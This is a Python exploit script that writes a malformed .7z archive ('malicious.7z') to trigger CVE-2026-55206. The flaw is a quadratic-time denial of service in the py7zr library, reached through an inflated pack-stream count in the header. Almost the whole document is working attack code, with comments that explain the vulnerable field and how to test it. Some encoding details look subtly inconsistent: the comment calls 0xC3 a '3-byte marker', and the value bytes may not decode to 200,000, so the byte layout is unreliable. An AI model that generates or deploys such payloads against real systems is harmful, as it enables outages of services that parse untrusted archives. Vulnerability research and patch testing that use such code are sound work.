Payload

import zlib
import struct

# This script generates a malicious .7z archive to exploit CVE-2026-55206.
# The vulnerability lies in an O(n^2) operation performed on a list of pack sizes,
# where the size of the list 'n' is read from the archive header (numstreams).
# By creating a header with a very large 'numstreams' value, we can cause
# excessive CPU usage when a vulnerable version of py7zr attempts to open the file.

PAYLOAD_FILENAME = "malicious.7z"

# A large number of streams will trigger the expensive computation.
# 200,000 is sufficient to cause a significant, multi-second CPU spike.
NUM_STREAMS = 200000

# This byte sequence represents the number 200,000 (0x30D40) encoded
# in the 7z variable-length "CodedUInt64" format.
# It consists of a 3-byte marker (0xC3) and the value bytes (0x0D, 0x40).
ENCODED_NUM_STREAMS = b'\xc3\x0d\x40'

def generate_payload():
    """
    Constructs the malicious .7z file from scratch.
    """
    # 1. Build the malicious header content.
    # This blob contains the properties that the py7zr parser will read.
    header_content = bytearray()

    # kHeader(0x01): Marks the beginning of the main header properties.
    header_content.append(0x01)

    # kMainStreamsInfo(0x04): Contains information about the packed streams.
    header_content.append(0x04)

    #   kPackInfo(0x06): Contains packing information (positions, sizes, CRCs).
    header_content.append(0x06)
    
    #     kNumPackStreams(0x04): THE VULNERABLE FIELD. We set it to a large number.
    header_content.append(0x04)
    header_content.extend(ENCODED_NUM_STREAMS)

    #     kSize(0x09): The parser expects to read NUM_STREAMS values for pack sizes.
    #     We must provide these for the parser to proceed to the vulnerable cumulative sum step.
    header_content.append(0x09)
    #     For each of the NUM_STREAMS, we provide a dummy size. '1' is encoded as b'\x01'.
    header_content.extend(b'\x01' * NUM_STREAMS)

    #     End markers for property blocks.
    header_content.append(0x00)  # End of kPackInfo
    header_content.append(0x00)  # End of kMainStreamsInfo
    header_content.append(0x00)  # End of kHeader

    # 2. Calculate the size and CRC32 of the header content, which is required for a valid file structure.
    header_size = len(header_content)
    header_crc = zlib.crc32(header_content)

    # 3. Assemble the final .7z file.
    with open(PAYLOAD_FILENAME, "wb") as f:
        # Standard 7z signature
        f.write(b'7z\xbc\xaf\x27\x1c')

        # Start Header (32 bytes total)
        # It contains the version and points to the main header.
        # Version 0.2
        f.write(b'\x02\x00')

        # The next section contains the offset, size, and CRC of our main header.
        # The Start Header's own CRC is calculated over this section.
        next_header_offset = 0  # Our header starts immediately after the Start Header
        
        start_header_crc_data = (
            struct.pack('<Q', next_header_offset) +
            struct.pack('<Q', header_size) +
            struct.pack('<I', header_crc)
        )
        start_header_crc = zlib.crc32(start_header_crc_data)
        
        # Write the Start Header CRC
        f.write(struct.pack('<I', start_header_crc))
        
        # Write the rest of the Start Header (the data we just CRC'd)
        f.write(start_header_crc_data)

        # Finally, write the malicious header content itself.
        f.write(header_content)

    print(f"Payload generated: {PAYLOAD_FILENAME}")
    print(f"To test: open('{PAYLOAD_FILENAME}') with a vulnerable py7zr version.")

if __name__ == "__main__":
    generate_payload()